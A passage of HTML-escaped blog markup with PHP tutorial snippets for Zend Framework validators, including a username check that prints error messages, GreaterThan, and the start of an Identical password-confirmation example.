background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;id&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;value&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$user_id&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$username&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// username appears to be valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// username is invalid; print the reason&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;getMessages&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;foreach&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$messages&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$message&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;$message&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0f69ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Digits&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_EmailAddress&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Float&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Zend_Validate_GreaterThan&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-weight: normal;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_GreaterThan&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;min&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$value&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$return&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$value&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns true&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Zend_Validate_Hex&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Zend_Validate_Hostname&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Identical&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$form&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;addElement&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;elementOne&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$form&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;addElement&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;elementTwo&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;validators&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
